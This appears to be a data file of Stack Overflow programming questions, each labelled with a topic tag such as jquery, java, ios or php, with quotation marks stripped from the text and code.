condensing this jquery to one script  we are building a responsive site at the moment with a grid of divs with sliding content reveals.  i have had some success with the following script:   <pre><code>&lt;script&gt; $(document).ready(function(){ var width = $( .inner ).width(); var toggle = true; $( .wrapper ).click(function(){     if(toggle) {         $( .inner ).stop().animate({left:0} 1000);     } else {         $( .inner ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt; &lt;script&gt; $(document).ready(function(){ var width = $( .inner-two ).width(); var toggle = true; $( .wrapper-two ).click(function(){     if(toggle) {         $( .inner-two ).stop().animate({left:0} 1000);     } else {         $( .inner-two ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt;  &lt;script&gt; $(document).ready(function(){ var width = $( .inner-three ).width(); var toggle = true; $( .wrapper-three ).click(function(){     if(toggle) {         $( .inner-three ).stop().animate({left:0} 1000);     } else {         $( .inner-three ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt;  &lt;script&gt; $(document).ready(function(){ var width = $( .inner-four ).width(); var toggle = true; $( .wrapper-four ).click(function(){     if(toggle) {         $( .inner-four ).stop().animate({left:0} 1000);     } else {         $( .inner-four ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt;  &lt;script&gt; $(document).ready(function(){ var width = $( .inner-five ).width(); var toggle = true; $( .wrapper-five ).click(function(){     if(toggle) {         $( .inner-five ).stop().animate({left:0} 1000);     } else {         $( .inner-five ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt; &lt;script&gt; $(document).ready(function(){ var width = $( .inner-seven ).width(); var toggle = true; $( .wrapper-seven ).click(function(){     if(toggle) {         $( .inner-seven ).stop().animate({left:0} 1000);     } else {         $( .inner-seven ).stop().animate({left:-width} 1000);     }     toggle = !toggle; }); }); &lt;/script&gt; </code></pre>   as you can see i dont have a great deal of jquery understanding  so im sure there is a better way to write this rather than in the method undertaken.  i was hoping somehow out there could either give me some pointers or rewrite the script to be more like an array instead of an ugly repetitive list of the same code with different ids and classes     any help would be greatly appreciated    can post a fiddle if that helps.,jquery
generating new sessionid in asp.net  on login i want to generate a new sessionid. i have found <a href= https://stackoverflow.com/questions/1368403/generating-a-new-asp-net-session-in-the-current-httpcontext/4420114#4420114 >one solution that works</a>  but it requires some pretty hackish things and requires the app have full trust securitypolicy setting.     is there any other way to achieve this,asp.net
how to set time delay between two frames in java  i am making a quiz using java . i want user to get only 1 minute to answer the question.after 1 minute next question which is is next frame should be displayed . how can i do that without using threads *,java
bound iphone app to 3.5 inch frame in iphone 5  wrote an app for iphone in 3.5 inch mode  and now - i need to make it work for iphone 5 (4-inch retina).     i m getting a little complicated with auto-layouts and can t seem to make it work. is there some way i can just bound the app to a 3.5 inch frame on an iphone 5 in <em>the middle</em> of the screen (not with the ugly white space in the bottom i see now)  and in that frame it would work like and iphone 4      i know it may not be the optimal solution  but i need to publish the app and for now it will do.     thank,ios
orientation deprecated in ios 6  looks like orientation for avcapturevideopreviewlayer has been depreciated in ios 6. anyone know the new code  here is my current (depreciated) code:   <pre><code>[self setpreviewlayer:[[avcapturevideopreviewlayer alloc] initwithsession:[self capturesession]]]; [[self previewlayer] setvideogravity:avlayervideogravityresizeaspectfill]; previewlayer.orientation = uiinterfaceorientationlandscaperight; </code></pre>,iphone
parse error: syntax error in php  i try to store a string to a php variable.  but it shows an error  parse error: syntax error  unexpected  =   here is the code   <pre><code>$page-title =  home page ; </code></pre>,php
create adhoc distribution for ios app  i m newbie. i have any questions about creating adhoc distribution for ios application:   <ol> <li>if i use adhoc distribution  do i need to release my app. i mean i need upload my app to appstore </li> <li>after creating adhoc distribution  i just sent a binary file to other testers  i don t need send the source code </li> <li>if want create adhoc distribution  i need account develop ios. i used this account to login and add udid  can you show me step by step how to create adhoc distribution and adding udid </li> </ol>   thanks in advance,ios
memory allocation possible memory leak  what is the correct way to allocate memory for  temp_comercial temp_active_substance   could this allocation cause a memory leak  i need just an answer to a correct form of allocate memory for the char pointers ..   <pre><code>int * temp_quantity; void ** temp_pointers; char ** temp_comercial_name; char ** temp_active_substance; char ** temp_manufacturer; char ** temp_expiry_date; int insertion_index  split  new_key  i  j;  new_leaf = make_leaf();  temp_keys = malloc( order * sizeof(int) ); if (temp_keys == null) {     perror( temporary keys array. );     exit(exit_failure); } temp_quantity = malloc( order * sizeof(int) ); if (temp_quantity == null) {     perror( temporary quantity array. );     exit(exit_failure); } temp_pointers = malloc( order * sizeof(void *) ); if (temp_pointers == null) {     perror( temporary pointers array. );     exit(exit_failure); }  temp_comercial_name = malloc(order); for(i = 0 ; i &lt; order ; i++)     temp_comercial_name[i] = malloc( sizeof(char) * 20);   temp_active_substance = malloc(order); for(i = 0 ; i &lt; order ; i++)     temp_active_substance[i] = malloc( sizeof(char) * 20);   temp_manufacturer = malloc(order); for(i = 0 ; i &lt; order ; i++)     temp_manufacturer[i] = malloc( sizeof(char) * 20);   temp_expiry_date = malloc(order); for(i = 0 ; i &lt; order ; i++)     temp_expiry_date[i] = malloc( sizeof(char) * 20);  </code></pre>,c
passing a struct item as the parameter  i understand it is possible to pass a struct as an argument etc.    but is it possible to have the parameter preset so only a specific struct item can be passed such:   <pre><code>struct inventory* searchforitem(struct stockitem.componenttype code){ </code></pre>   i m getting : error: expected  ;         before token    edit:   <pre><code>typedef struct stockitem {     char *componenttype;     char *stockcode;     int numofitems;     int price; } stockitem; </code></pre>,c
caused by: java.lang.unsatisfiedlinkerror: cannot load library: load_library[1098]: library  /system/lib/libhoudini.so  not found  i updated android studio to 3.0.0 and gradle to 3.0.0    after run my app on emulator genymotion (api 16-19) crashed.    <strong>error:</strong>    <pre><code>e/androidruntime: fatal exception: main                   java.lang.exceptionininitializererror                       at android.support.v4.app.supportactivity.&lt;init&gt;(supportactivity.java:68)                       at android.support.v4.app.basefragmentactivitygingerbread.&lt;init&gt;(basefragmentactivitygingerbread.java:37)                       at android.support.v4.app.basefragmentactivityhoneycomb.&lt;init&gt;(basefragmentactivityhoneycomb.java:29)                       at android.support.v4.app.basefragmentactivityjb.&lt;init&gt;(basefragmentactivityjb.java:30)                       at android.support.v4.app.fragmentactivity.&lt;init&gt;(fragmentactivity.java:79)                       at android.support.v7.app.appcompatactivity.&lt;init&gt;(appcompatactivity.java:61)                       at com.myapp.start.baseactivity.&lt;init&gt;(baseactivity.java:37)                       at com.myapp.start.startactivity.&lt;init&gt;(startactivity.java:40)                       at java.lang.class.newinstanceimpl(native method)                       at java.lang.class.newinstance(class.java:1319)                       at android.app.instrumentation.newactivity(instrumentation.java:1053)                       at android.app.activitythread.performlaunchactivity(activitythread.java:1974)                       at android.app.activitythread.handlelaunchactivity(activitythread.java:2084)                       at android.app.activitythread.access$600(activitythread.java:130)                       at android.app.activitythread$h.handlemessage(activitythread.java:1195)                       at android.os.handler.dispatchmessage(handler.java:99)                       at android.os.looper.loop(looper.java:137)                       at android.app.activitythread.main(activitythread.java:4745)                       at java.lang.reflect.method.invokenative(native method)                       at java.lang.reflect.method.invoke(method.java:511)                       at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:786)                       at com.android.internal.os.zygoteinit.main(zygoteinit.java:553)                       at dalvik.system.nativestart.main(native method)                    caused by: java.lang.unsatisfiedlinkerror: cannot load library: load_library[1098]: library  /system/lib/libhoudini.so  not found </code></pre>   native methods in my app not using. what could be the problem,android
difference between `<%#` and `<%=` and an asp.net ascx file   i understand that <code>&lt;%=</code> is for returning a string    i seem to usually use <code>&lt;%#</code> in my .ascx files.    for example the following works    <code>onclientclick=&lt;%# string.format( return confirm( are you sure you wish to delete barcode ({0})  );   eval( barcode ) ) %&gt;</code>    the following does not work    <code>onclientclick=&lt;%= string.format( return confirm( are you sure you wish to delete barcode ({0})  );   eval( barcode ) ) %&gt;</code>,asp.net
how to show an html string on a uilabel in ios   i am getting a title in html format as     &lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;strong&gt;example &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;    i need to show this html string in a uilabel. the color code and the font size should be same as the coming in html. when i am converting the html string into a nsstring  only the text  example  is coming  and not the color.    is there any solution     thnx in advance    till now i am trying by using a nsattributedstring in following way but by this way the whole html is printing:   <pre><code>uifont *font = [uifont systemfontofsize:14.0]; uifont *secondfont = [uifont systemfontofsize:10.0];  nsmutabledictionary *firstattributes; nsmutabledictionary *secondattributes;  nsdictionary *firstattributefont = @{nsfontattributename:font}; nsdictionary *secondattributefont = @{nsfontattributename:secondfont};  [firstattributes addentriesfromdictionary:firstattributefont]; [secondattributes addentriesfromdictionary:secondattributefont];  [firstattributes addentriesfromdictionary:@{nsforegroundcolorattributename:[uicolor clearcolor]}]; [secondattributes addentriesfromdictionary:@{nsforegroundcolorattributename:[uicolor clearcolor]}];    nsstring* completestring = [nsstring stringwithformat:@ %@  strtitle]; nsmutableattributedstring *attributedstring = [[nsmutableattributedstring alloc]     initwithstring:completestring]; [attributedstring setattributes:firstattributes range:[completestring rangeofstring:strtitle]]; //   [attributedstring setattributes:secondattributes range:[completestring rangeofstring:self.secondattributetext]]; cell.lbl_title.attributedtext = attributedstring; </code></pre>,ios
comparison execution speed  i wrote a simple for loop like this.   <pre><code>for(int i = 0; i != 100; i++)  </code></pre>   then someone gave an opinion that it should be    <pre><code>for(int i = 0; i &lt; 100; i++)  </code></pre>   when this turns into assembly mine should turn into jump on equality jne and the latter should be jump if greater jg. or the compiler will do something completely different and it will both turn into the same thing.    anyway which one is more correct  i find the first one more logically correct because it is known that i will pass 100  the greater than check seems logically reduntant. also are jne and jg as fast as each other,c++
digesting md5 throwing a utf8 error - java  i m digesting the content of some zip files in other to produce a md5. the file content is digested and a md5 is produced  instead of producing the md5 based on the timestamp for example. so i would assert that two files have the same content even though they were produced in different times. thus  i wrote the following <code>java</code> method:   <pre><code>    public string digest( zipinputstream entry ) throws ioexception{          byte[] digest = null;         messagedigest md5 = null;         string mdenc =   ;         try {             md5 = messagedigest.getinstance(  md5  );              zipentry current;             if( entry != null ) {                 while(( current = entry.getnextentry() ) != null ) {                     if( current.isdirectory() ) {                         digest = this.encodeutf8( current.getname() );                         md5.update( digest );                     }                     else{                         int size = ( int )current.getsize();                         if(size &gt; 0){                             digest = new byte[ size ];                             entry.read( digest  0  size );                             md5.update( digest );                         }                     }                 }                 digest = md5.digest();                 mdenc = new biginteger( 1  md5.digest() ).tostring( 16 );                 entry.close();             }         }         catch ( nosuchalgorithmexception e ) {             // todo auto-generated catch block             e.printstacktrace();         }         return mdenc;     }           public byte[] encodeutf8( string name ) {              final charset utf8_charset = charset.forname(  utf-8  );                  return name.getbytes( utf8_charset );          } </code></pre>   the method was working fine until i came out with zip files which had <strong>chinese</strong>  <strong>korean</strong> and <strong>japanese</strong> encodings (not only the traditional <code>utf-8</code>):   <pre><code>processing :mrl_l10n.zip md5 a: d41d8cd98f00b204e9800998ecf8427e md5 b: d41d8cd98f00b204e9800998ecf8427e they match processing :fcm.zip md5 a: d41d8cd98f00b204e9800998ecf8427e md5 b: d41d8cd98f00b204e9800998ecf8427e they match processing :1_mrm_root.zip exception in thread  main  java.lang.illegalargumentexception     at java.util.zip.zipinputstream.getutf8string(unknown source)     at java.util.zip.zipinputstream.getfilename(unknown source)     at java.util.zip.zipinputstream.readloc(unknown source)     at java.util.zip.zipinputstream.getnextentry(unknown source)     at tczip.digest(tczip.java:98)     at tczip.execute(tczip.java:33) </code></pre>   does someone know how can i create a workaround for that,java
getting java.lang.runtimeexception: unable to start activity componentinfo  i know a there are lots of people have asked this same thing but i just don t know what s going on. i m trying to make function like <a href= https://lh3.ggpht.com/w89eqmvqowxoi0jg4z_we86nny3lvzatqrilc6zdmboxkaap3qrvcdht1ulkf0bvr3ev  rel= nofollow >this</a> which consists of 2 <code>edittext</code>s  2 <code>listview</code>s and 1 button. for my apps  user will put input inside <code>edittext</code> (1 for user location and another 1 for destination) the purpose i include <code>listview</code> is when the user enter input 1 or 2 letters  the listview show suggestion of the places regarding the letters. however  the <code>listview</code> is hidden - it only will show the list whenever the user have put input inside the <code>edittext</code>.     my code didn t show any errors  but when i run logcat gives me this:   <pre><code>07-02 15:57:39.160: e/androidruntime(5545): fatal exception: main 07-02 15:57:39.160: e/androidruntime(5545): java.lang.runtimeexception: unable to start activity componentinfo{com.example.series3/com.example.series3.findmeplace}: java.lang.nullpointerexception 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread.performlaunchactivity(activitythread.java:1647) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread.handlelaunchactivity(activitythread.java:1663) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread.access$1500(activitythread.java:117) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread$h.handlemessage(activitythread.java:931) 07-02 15:57:39.160: e/androidruntime(5545):     at android.os.handler.dispatchmessage(handler.java:99) 07-02 15:57:39.160: e/androidruntime(5545):     at android.os.looper.loop(looper.java:123) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread.main(activitythread.java:3683) 07-02 15:57:39.160: e/androidruntime(5545):     at java.lang.reflect.method.invokenative(native method) 07-02 15:57:39.160: e/androidruntime(5545):     at java.lang.reflect.method.invoke(method.java:507) 07-02 15:57:39.160: e/androidruntime(5545):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:839) 07-02 15:57:39.160: e/androidruntime(5545):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:597) 07-02 15:57:39.160: e/androidruntime(5545):     at dalvik.system.nativestart.main(native method) 07-02 15:57:39.160: e/androidruntime(5545): caused by: java.lang.nullpointerexception 07-02 15:57:39.160: e/androidruntime(5545):     at com.example.series3.findmeplace.oncreate(findmeplace.java:80) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 07-02 15:57:39.160: e/androidruntime(5545):     at android.app.activitythread.performlaunchactivity(activitythread.java:1611) 07-02 15:57:39.160: e/androidruntime(5545):     ... 11 more </code></pre>   seriously i really have no ideas where i m wrong. please help me solve this problem here is my code:    <strong>findmeplace.java</strong>   <pre><code>public class findmeplace extends activity {      // ------------------------------------------------------------------     // declaration     public static ukmroute selectedpath = null;     final databasehandler db = new databasehandler(this);     private edittext filtertext = null;     private edittext filtertext2 = null;     arrayadapter&lt;string&gt; adapter = null;     final arraylist&lt;string&gt; results = new arraylist&lt;string&gt;();     final arraylist&lt;string&gt; results_id = new arraylist&lt;string&gt;();     button search;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.findmeplace);         // final intent c = new intent(findmeplace.this          // qslocationdetail.class);          // ------------------------------------------------------------------         // link edittext to layout item         filtertext = (edittext) findviewbyid(r.id.search_location);         filtertext.addtextchangedlistener(filtertextwatcher);         filtertext2 = (edittext) findviewbyid(r.id.search_destination);         filtertext2.addtextchangedlistener(filtertextwatcher);          /*populatefromlocation();         populatetodestination();*/              // reading location             log.d( reading    reading all location .. );             list&lt;ukmroute&gt; location = db.getallukmroute();              for (ukmroute k : location) {                 results.add(k.getfromlocation());                 results_id.add(k.getid());             }             // set list arrayadapter to adapter             if (!filtertext.gettext().tostring().equals(  ))                 adapter = new arrayadapter&lt;string&gt;(findmeplace.this                          r.layout.list_item  r.id.textview1  results);             else {                 arraylist&lt;string&gt; r = new arraylist&lt;string&gt;();                 adapter = new arrayadapter&lt;string&gt;(findmeplace.this                          r.layout.list_item  r.id.textview1  r);             }              // adapter = new arrayadapter&lt;string&gt;(this  r.layout.list_item              // r.id.textview1  results);             setlistadapter(adapter);              // set listview from listactivity             listview lv = getlistview();             lv.settextfilterenabled(true);              lv.setonitemclicklistener(new onitemclicklistener() {                 public void onitemclick(adapterview&lt; &gt; parent  view view                          int position  long id) {                     // when clicked  show a toast with the textview text                     toast.maketext(getapplicationcontext()                              ((textview) view).gettext()  toast.length_short).show();                      log.d( test    position:  + position);                      log.d( test                                actualname:                                      + db.getukmroutebyfrom(                                             adapter.getitem(position))                                             .getfromlocation());                      // string poiid = results_id.get(position);                     string poiid = db.getukmroutebyfrom(adapter.getitem(position))                             .getid();                     setselectedpoi(poiid);                     // startactivity(c);                  }             }); //-------------------------------------------------------------------------------                  list&lt;ukmroute&gt; destination = db.getallukmroute();                 for (ukmroute k : destination) {                     results.add(k.gettodestination());                     results_id.add(k.getid());                 }                 if (!filtertext2.gettext().tostring().equals(  ))                     adapter = new arrayadapter&lt;string&gt;(findmeplace.this                              r.layout.list_item  r.id.textview1  results);                 else {                     arraylist&lt;string&gt; r = new arraylist&lt;string&gt;();                     adapter = new arrayadapter&lt;string&gt;(findmeplace.this                              r.layout.list_item  r.id.textview1  r);                 }                 setlistadapter(adapter);                  // set listview from listactivity                 listview lv2 = getlistview();                 lv2.settextfilterenabled(true);                  // set click event from listview                 lv2.setonitemclicklistener(new onitemclicklistener() {                     public void onitemclick(adapterview&lt; &gt; parent  view view                              int position  long id) {                         // when clicked  show a toast with the textview text                         toast.maketext(getapplicationcontext()                                  ((textview) view).gettext()  toast.length_short).show();                          log.d( test    position:  + position);                          log.d( test                                    actualname:                                          + db.getukmroutebyto(adapter.getitem(position))                                                 .getfromlocation());                          // string poiid = results_id.get(position);                         string poiid = db.getukmroutebyto(adapter.getitem(position))                                 .getid();                         setselectedpoi(poiid);                         // startactivity(c);                      }                 });      }      // initiate database data         public void initiatedb() {             databasehandler mydbhandler = new databasehandler(this);              try {                 mydbhandler.createdatabase();             } catch (ioexception ioe) {                 throw new error( unable to create database );             }              try {                 mydbhandler.opendatabase();             } catch (sqlexception sqle) {                 throw sqle;             }             log.d( initiate                        ukm route count:   + mydbhandler.getukmroutecount());             mydbhandler.close();         }      // ------------------------------------------------------------------     private listview getlistview() {         // todo auto-generated method stub         return null;     }      private void setlistadapter(arrayadapter&lt;string&gt; adapter2) {         // todo auto-generated method stub      }      private textwatcher filtertextwatcher = new textwatcher() {          public void aftertextchanged(editable s) {         }          public void beforetextchanged(charsequence s  int start  int count                  int after) {         }          public void ontextchanged(charsequence s  int start  int before                  int count) {             if (!filtertext.gettext().tostring().equals(  ))                 adapter = new arrayadapter&lt;string&gt;(findmeplace.this                          r.layout.list_item  r.id.textview1  results);             else {                 arraylist&lt;string&gt; r = new arraylist&lt;string&gt;();                 adapter = new arrayadapter&lt;string&gt;(findmeplace.this                          r.layout.list_item  r.id.textview1  r);             }             setlistadapter(adapter);             adapter.getfilter().filter(s);         }     };      @override     protected void ondestroy() {         super.ondestroy();         filtertext.removetextchangedlistener(filtertextwatcher);     }      public ukmroute getselectedpoi() {         return selectedpath;     }      public void setselectedpoi(string id_route) {         selectedpath = db.getukmroute(id_route);         log.d( test2    id_route:  + db.getukmroute(id_route).getid());         log.d( test2    fromlocation:  + db.getukmroute(id_route).getfromlocation());         // kene buat if else ke kalau nk tmbah part destination          // closing db         db.close();     }   } </code></pre>   <strong>findmeplace.xml</strong>   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      tools:context= .findmeplace  &gt;      &lt;edittext         android:id= @+id/search_destination          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_alignleft= @+id/search_box          android:layout_centervertical= true          android:ems= 10          android:hint= @string/edittext_hint1          android:inputtype= text          android:maxlines= 1  /&gt;      &lt;edittext         android:id= @+id/search_location          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_alignparenttop= true          android:layout_centerhorizontal= true          android:layout_margintop= 138dp          android:ems= 10          android:hint= @string/edittext_hint          android:inputtype= text          android:maxlines= 1  &gt;          &lt;requestfocus /&gt;     &lt;/edittext&gt;      &lt;button         android:id= @+id/button1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignparentbottom= true          android:layout_alignright= @+id/search_box          android:layout_marginbottom= 71dp          android:text= @string/searchbutton  /&gt;      &lt;listview         android:id= @+id/inputlocation          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_alignleft= @+id/search_location          android:layout_below= @+id/search_location          android:layout_marginleft= 32dp          android:layout_margintop= 20dp  &gt;     &lt;/listview&gt;      &lt;listview         android:id= @+id/inputdestination          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_alignleft= @+id/search_destination          android:layout_below= @+id/search_destination          android:layout_margintop= 15dp  &gt;     &lt;/listview&gt;  &lt;/relativelayout&gt; </code></pre>   <strong>list_item</strong>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;textview xmlns:android= http://schemas.android.com/apk/res/android      android:id= @+id/textview1      android:layout_width= fill_parent      android:layout_height= fill_parent      android:padding= 10dp      android:textsize= 16sp  &gt; &lt;/textview&gt; </code></pre>,android
index was outside the bounds of the array c#.net <pre><code>int i = 0; string[] abdates = new string[5];  private void datagridview1_cellclick(object sender  datagridviewcelleventargs e) {     string dt = datagridview1.rows[e.rowindex].cells[e.columnindex].value.tostring();     if (string.isnullorempty(dt))     {      }     else     {         if (datagridview1.rows[e.rowindex].cells[e.columnindex].style.backcolor == color.red)         {             if (messagebox.show( do you  want to unmark this      unmark   messageboxbuttons.yesno  messageboxicon.warning) == dialogresult.no)             {             }             else             {                 datagridview1.rows[e.rowindex].cells[e.columnindex].style.backcolor = color.white;                 dt = datagridview1.rows[e.rowindex].cells[e.columnindex].value.tostring();                 abdates = abdates.where(val =&gt; val != dt).toarray();                 i--;             }         }         else         {             if (messagebox.show( do you  want to mark this as absent     absent   messageboxbuttons.yesno  messageboxicon.warning) == dialogresult.no)             {             }             else             {                 datagridview1.rows[e.rowindex].cells[e.columnindex].style.backcolor = color.red;                 dt = datagridview1.rows[e.rowindex].cells[e.columnindex].value.tostring();                 //messagebox.show(i.tostring());                 abdates[i] = dt;                 i++;             }         }     } } </code></pre>   here is my code.. i have an array with size[5]. i added 5 values into this array and then removed the values. now my array have only one value. if i add another value to this array it shows the error index was outside the bounds of the array.,c#
css: even text and image level  (box-sizing)  how do i make the text so the image even out     for example  gone in 60 seconds  should not push the image upward  but instead push the text downwards.    <img src= https://i.stack.imgur.com/wqqgh.png  alt= enter image description here >,css
problem with sql select statment  ok i can t figure this one out i have    <pre><code>select job  some job   count(a.bossid)  number of bosses   from boss a  places b  place_boss ba  where ba.bossid = a.bossid and ba.placeid = b.placeid     and count(a.bossid)&gt;1  group by job; </code></pre>   i  get group function not allowed here i need make sure that if the job has one boss it doesn t show.    any idea what i m messing up here,sql
how to handle checkboxlist in angularjs in add and edit operation   i am new to angularjs and facing one problem with multiple check-boxes. i have one registration form in which i have choices of colors which comes from database.   <pre><code>$scope.colorlist = { { id: 1 name: red  } { id: 2 name: green  } { id: 3 name: blue  }}; </code></pre>   i am using below code to render checkbox in form.   <pre><code>&lt;tr&gt;   &lt;td&gt;favorite colors&lt;/td&gt;   &lt;td&gt;      &lt;label data-ng-repeat= c in item.colorlist &gt;         &lt;input type= checkbox  value= {{c.id}}  /&gt;&lt;span&gt;{{c.name}}&lt;/span&gt;       &lt;/label&gt;   &lt;/td&gt; &lt;/tr&gt; </code></pre>   now  during add operation  checkboxes renders properly... but how to bind checkboxes with model so that i get an array of selected checkboxes     also during edit time  i need to pre-select checkboxes to display user s saved choices.    so how to achieve it     thanks in advance.,angularjs
spawning random fruits in snake game  i am trying to spawn random colour fruits for a snake game i developed.    however instead of the fruits spawning with a different colour every time  <a href= http://i.stack.imgur.com/hzpgg.png  rel= nofollow >it blinks at random.</a>    here is the code i used:   <pre><code>private void drawtile(int x  int y  tiletype type  graphics g) {     /*      * because each type of tile is drawn differently  it s easiest      * to just run through a switch statement rather than come up with some      * overly complex code to handle everything.      */      switch (type) {      /*      * a fruit is depicted as a small red circle that with a bit of padding      * on each side.      */         case fruit:             random rn = new random();             int answer = rn.nextint(4) + 1;              switch (answer) {                 case 1:                     g.setcolor(color.blue);                     break;                 case 2:                     g.setcolor(color.green);                     break;                 case 3:                     g.setcolor(color.red);                     break;                 default:                     g.setcolor(color.yellow);                     break;             }              g.filloval(x + 2  y + 2  tile_size - 4  tile_size - 4);             break; </code></pre>   i think it blinks at random because the screen is constantly refreshing.,java
using php/sql to select  then delete image files that aren t referenced in user table  i have a site with user profiles. i ve delete a slew of profiles within phpmyadmin  but those profiles that i ve deleted still have their picture files in a folder on the website.     i m looking for a script that i could run that would select/delete all the pictures in the folder that are not associated with any existing profile in the database.     a typical image name is like this: 0ae71e1bc25cae7e243464adb.jpg     i m sure there s a way to do this  but i m not a major expert at using mysql operations for something of this nature.     so in an attempt to be more clear:   <ul> <li> i have let s say 100 existing users with their info in the database  including their profile picture name.  </li> <li> their profile picture is in a folder on the server called images </li> <li> in that same folder are images of users that do not exist </li> <li> i d like to run a script that will check to see if that image is referenced in the  users  table by any user  and if not  delete it.  </li> </ul>   your help us appreciated.,mysql
static variable not accessible via an object or $this but static functions are accessible via $this or object in php <pre><code>&lt; php class c1 {   public static function f1()   {     return  hello ;   }    public static $a=10;    public function f2()   {     echo $this-&gt;f1(); //prints  hello      echo $this-&gt;a;//error:undefined property: c1::$a in c:\wamp\www\class_in_php\example5.php on line 14   } }  $obj1=new c1; $obj1-&gt;f2();  &gt; </code></pre>   why can t we access a <strong>static variable</strong> of a class using $this or an object of that class    but we can access a <strong>static function</strong> of that class using $this or an object of that class.    what is the reason behind such a phenomenon,php
java remove duplicates from linked list  i want to remove duplicates from sorted linked list {0 1 2 2 3 3 4 5}.     `   <pre><code>public node removeduplicates(node header) {     node tempheader = null;     if(header != null)          tempheader = header.next;     else return header;     node prev = header;     if((tempheader == null)) return header ;      while(tempheader != null)     {         if(tempheader.data != prev.data)         {             prev.setnext(tempheader);         }     tempheader = tempheader.next;     }     prev = header;     printlist(prev);     return tempheader; } </code></pre>   `    prev.setnext(tempheader) is not working correctly inside the while loop. ideally when prev = 2 and tempheader = 3  prev.next should be node with data = 3.    printlist function just takes header pointer and prints the list.    node definition is given below.   <pre><code>public class node {     int data;     node next;      public node getnext() {         return next;     }     public void setnext(node next) {         this.next = next;     } } </code></pre>,java
embedded website inside windows app  how can i have an embedded website inside a windows app and also have it so that the windows app would startup the web server and go to the default page of the website     can i use the webdev server that comes with .net framework   or is there something better out there,.net
user inventory database design   i m making a game in php with mysql and i was wondering what is the best way for me to store the items the users have purchased so it is linked with their account.    i plan to have a database with the items information in and the only ways i could think of doing it was:   <ol> <li>having a table for the users items in a serialised array of sort</li> <li>having masses of columns with a set amount of inventory space</li> <li>table with user_id and item_id and add a row every time they purchase an item  selecting the user_id relevant to the user to display their items</li> </ol>   which is best,mysql
printing a pointer to an object  i have a number class and in the main method i created a pointer to a number object. this object has a string field which contains the value of the number as a string. i m trying to print that string value with cout but i keep failing. i m a beginner and i got deep in overloading &lt;&lt; operator and stuff but i couldn t find a way too print the pointer thanks..   <pre><code>number *n1 = new number(); cout&lt;&lt;*n1;            // that must print the string value </code></pre>   edit : i can write a function to print a number object but it s not the deal. also i m familiar with the number->value syntax. i guess what i need to do is overload the &lt;&lt; operator to print a pointer to object,c++
incorrect answer from #define sqr(x) (x*x)  the following program is printing <code>49</code>   <pre><code>#include &lt;stdio.h&gt;  #define sqr(x) (x*x)  void main(void) {      int x  y; x = 5;      y = sqr(++x);      printf( y is %d\n   y);  } </code></pre>   i don t understand what i am missing.<br> here is what i am understanding how it might be working<br> in <code>sqr(++x)</code>   <code>++x</code> will be evaluated to be <code>6</code> and after <code>x*x</code> the <code>36</code> should be returned.<br> therefore <code>y = 36</code><br> but the answer is <strong>49</strong>,c
error while using sftp  i am trying to transfer file from one server to other using sftp. i am using the command    <pre><code>sftp2 -i  public key path   source file path  username@servername  destination file path  </code></pre>   when i am manually using this command in command prompt it working fine but i am using same command in c# code i am geting error    <blockquote>    the account specified for this service is different from the account   specified for other services running in the same process.  </blockquote>   any idea why i am getting this error and resolution for same.    thanks in advance.,.net
concatenate 2 vars simultaniously  simplified the problem.    $var1 should be  1245     $var2 should be  1345     the aim is when assigning common values ( 1   4   5 ) - need to assign only once.   <pre><code>$var1=  ; $var2=  ;  $var1.= 1 ; //need same content for $var2 $var1.= 2 ; //this is for var1 only $var2.= 3 ; //this is for var2 only $var1.= 4 ; //need same content for $var2 $var1.= 5 ; //need same content for $var2 </code></pre>   this is not what i am looking for:   <pre><code>$var1=  ; $var2=  ;  $var1.= 1 ; $var1.= 2 ; $var1.= 4 ; $var1.= 5 ;  $var2.= 1 ; $var2.= 3 ; $var2.= 4 ; $var2.= 5 ; </code></pre>   because i want the following assignments to appear only once in the code:   <pre><code>.= 1 ; .= 4 ; .= 5 ; </code></pre>   i hope i am explicit.    edit: tried this:   <pre><code>$var1=  ; $var2=  ; $var2.=$var1.= 1 ; $var1.= 2 ; $var2.= 3 ; $var2.=$var1.= 4 ; $var2.=$var1.= 5 ;  //$var1=&gt;1245 //$var2=&gt;131241245   $var1=  ; $var2=  ; $var1.=$var2.= 1 ; $var1.= 2 ; $var2.= 3 ; $var1.=$var2.= 4 ; $var1.=$var2.= 5 ;  //$var1=&gt;121341345 //$var2=&gt;1345 </code></pre>,php
